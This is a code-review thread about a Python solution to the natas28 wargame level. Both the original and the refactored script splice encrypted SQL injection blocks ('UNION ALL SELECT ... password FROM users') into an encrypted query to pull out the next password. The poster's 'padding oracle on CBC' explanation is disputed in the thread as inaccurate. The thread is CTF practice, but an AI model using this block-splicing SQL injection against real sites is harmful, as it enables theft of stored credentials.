natas28 Padding Oracle Attack

Question

Another natas challange, they are getting progressively harder. I barely completed this. Mostly thnx to @aires to help me with the crypto stuff.

This time, a Padding Oracle attack was needed to get the password for the next level. Another reason to be scared of crypt:o

In short the Padding Oracle Attack works like this:

It turns out that knowing whether or not a given ciphertext produces plaintext with valid padding is ALL that an attacker needs to break a CBC encryption. If you can feed in ciphertexts and somehow find out whether or not they decrypt to something with valid padding or not, then you can decrypt ANY given ciphertext.

So the only mistake that you need to make in your implementation of CBC encryption is to have an API endpoint that returns 200 if the ciphertext gives a plaintext with valid padding, and 500 if not.

I've added a link with the full description

import requests
import re
import base64
from urllib.parse import quote, unquote
def natas28(url):
 session = requests.Session()
 cipher_text = lambda url, plain_text:base64.b64decode(unquote(session.post(url, data={"query":plain_text}).url.split("query=")[1]))
 
 def _block_size(url):
 ciphertext = cipher_text(url, '')
 pre_len = len(ciphertext)
 idx = 0
 
 while pre_len >= len(ciphertext):
 plaintext = 'a' * idx
 ciphertext = cipher_text(url, plaintext)
 idx += 1
 return len(ciphertext) - pre_len
 def _prefix_size(url):
 block_size = _block_size(url)
 plain_text = 'a' * block_size * 3
 cypher = cipher_text(url, plain_text)
 cipher_a = ""
 
 for i in range(0, len(cypher), block_size):
 if cypher[i:i+block_size] == cypher[i+block_size: i+block_size*2]:
 cipher_a = cypher[i: i+block_size]
 break
 for i in range(block_size):
 plain_text = 'a' * (i + block_size)
 cypher = cipher_text(url, plain_text)
 if cipher_a in cypher:
 return block_size, i, cypher.index(cipher_a)
 block_size, index, cypher_size = _prefix_size(url)
 plain_text = 'a'* (block_size // 2)
 cypher = cipher_text(url, plain_text)
 
 sql = " UNION ALL SELECT concat(username, 0x3A ,password) FROM users #"
 pt = 'a' * index + sql + 'b' * (block_size - (len(sql) % block_size))
 ct = cipher_text(url, pt)
 e_sql = ct[cypher_size:cypher_size-index+len(pt)]
 response = session.get(f"{url}search.php/?query=", params={"query": base64.b64encode(cypher[:cypher_size]+e_sql+cypher[cypher_size:])})
 return re.findall(r"<li>natas29:(.{32})<\/li>", response.text)[0]
if __name__ == '__main__':
 url='http://natas28:[e-mail]/'
 print(f"Password = {natas28(url)}")

---

I know it's only a challange, so I don't always feel the need to us proper variable names. But I fear when I come back to this challange, I'm confused how this worked again.

Any review is welcome.

• user175023: Did you really complete this? Because this is not a padding oracle attack and the block cipher mode is not cbc. It has more to do with cryptoanalysis than writing code. Also your code gave error on both python and python3 on my ubuntu.
• Aries_is_there: @MerisonMiryza can you show me what error your get, I just test the code on my MacOS using python3.6 works good, as part of the code is from me, I will answer your question about cypto
• Ludisposed: It should work fine, maybe the f"string" is your problem if so change with .format().
• user175023: Both python (v2.7) and python3 (v3.5) on my ubuntu 16.04 lte give the same error: response = session.get(f"{url}search.php/?query=", params={"query": base64.b64encode(cypher[:cypher_size]+e_sql+cypher[cypher_size:])}) ^ SyntaxError: invalid syntax The arrow is pointing at :cypher_size
• Ludisposed: f"strings" are added in python3.6. I told you change to format

Answer 1

Disclaimer:

• There is no review for the crypto
• The pieces of code below are based on a slightly modified code where the nested functions and lambda functions are renamed and extracted out to ease my understanding

Consistent spelling

It looks like nothing but having a mix of cypher and cipher makes the code tedious to read/update. Try to be consistent even if both spellings are valid.

Improving _block_size

A few things can be improved in _block_size:

• Avoid calling len more than once on a given ciphertext (as of now, len is called twice on the first and last ciphertext computed).
• Avoid performing the computation for an empty plaintext more than twice.
• Avoid having to keep track of the count idx explicitly. We could use itertools.count to have this done automatically.

The first 2 points could be handled using additional variables and rewriting the loop. Then, taking into account the last point, we get:

def get_block_size(session, url):
 pre_len = len(cipher_text(session, url, ''))
 for idx in itertools.count(1):
 cipher_len = len(cipher_text(session, url, 'a' * idx))
 if cipher_len > pre_len:
 return cipher_len - pre_len

Improving _prefix_size

The logic around indexing makes it look more complicated that it really is. Using a variable for the current block and the previous block could make this clearer.

It is not clear what cipher_a means. We initialise it with "" but the code later on would not work with that value (TypeError: a bytes-like object is required, not 'str'). We should fail in a more explicit way when then value is not found. (This can be detected using the not-so-famous else for for loop which gets executed when the loops ends "normally", without a break).

Similarly, in the second loop when nothing is found, we return an implicit None which leads to another error (TypeError: 'NoneType' object is not iterable).

At this stage, we have:

def get_prefix_size(session, url):
 block_size = get_block_size(session, url)
 cipher = cipher_text(session, url, 'a' * block_size * 3)
 prev_block = None
 for i in range(0, len(cipher), block_size):
 block = cipher[i:i+block_size]
 if block == prev_block:
 break
 prev_block = block
 else: # no break
 assert False # Handle error properly here
 for i in range(block_size):
 cipher = cipher_text(session, url, 'a' * (i + block_size))
 if block in cipher:
 return block_size, i, cipher.index(block)
 assert False # Handle error properly here

Or if you do not plan to handle errors properly:

def get_prefix_size(session, url):
 block_size = get_block_size(session, url)
 cipher = cipher_text(session, url, 'a' * block_size * 3)
 prev_block = None
 for i in range(0, len(cipher), block_size):
 block = cipher[i:i+block_size]
 if block == prev_block:
 break
 prev_block = block
 for i in range(block_size):
 cipher = cipher_text(session, url, 'a' * (i + block_size))
 if block in cipher:
 return block_size, i, cipher.index(block)

Improving natas28

The whole logic is pretty complicated. It probably deserves some explanations. Also, the variable names do not look very obvious to me.

The modulo computation could be slightly simplified. Indeed, in Python, x % y has the same sign as y. You could write: (-len(sql) % block_size)

The computations performed with index could probably be simplified: we add index "a" to a string, then compute the overall length, then substract index.

sql = " UNION ALL SELECT concat(username, 0x3A ,password) FROM users #"
sql_with_suffix = sql + 'b' * (-len(sql) % block_size)
ct = cipher_text(session, url, 'a' * index + sql_with_suffix)
e_sql = ct[cipher_size:cipher_size+len(sql_with_suffix)]

Simplify SQL and parsing

You write your query to get something under the format username:password when you only care about the password.

---

Conclusion

I haven't changed much in your code. Just details here and there. I'm still wrapping my head around the crypto techniques used but it sounds very interesting.

import requests
import re
import base64
from urllib.parse import quote, unquote
import itertools
def cipher_text(session, url, plain_text):
 return base64.b64decode(unquote(session.post(url, data={"query":plain_text}).url.split("query=")[1]))
def get_block_size(session, url):
 pre_len = len(cipher_text(session, url, ''))
 for idx in itertools.count(1):
 cipher_len = len(cipher_text(session, url, 'a' * idx))
 if cipher_len > pre_len:
 return cipher_len - pre_len
def get_prefix_size(session, url):
 block_size = get_block_size(session, url)
 cipher = cipher_text(session, url, 'a' * block_size * 3)
 prev_block = None
 for i in range(0, len(cipher), block_size):
 block = cipher[i:i+block_size]
 if block == prev_block:
 break
 prev_block = block
 for i in range(block_size):
 cipher = cipher_text(session, url, 'a' * (i + block_size))
 if block in cipher:
 return block_size, i, cipher.index(block)
def natas28(url):
 session = requests.Session()
 block_size, index, cipher_size = get_prefix_size(session, url)
 cipher = cipher_text(session, url, 'a'* (block_size // 2))
 beg, end = cipher[:cipher_size], cipher[cipher_size:]
 sql = " UNION ALL SELECT password FROM users #"
 sql_with_suffix = sql + 'b' * (-len(sql) % block_size)
 ct = cipher_text(session, url, 'a' * index + sql_with_suffix)
 e_sql = ct[cipher_size:cipher_size+len(sql_with_suffix)]
 response = session.get(url + "search.php/?query=", params={"query": base64.b64encode(beg + e_sql + end)})
 return re.findall(r"<li>(.{32})<\/li>", response.text)[0]
if __name__ == '__main__':
 password = natas28('http://natas28:[e-mail]/')
 print("Password = " + password)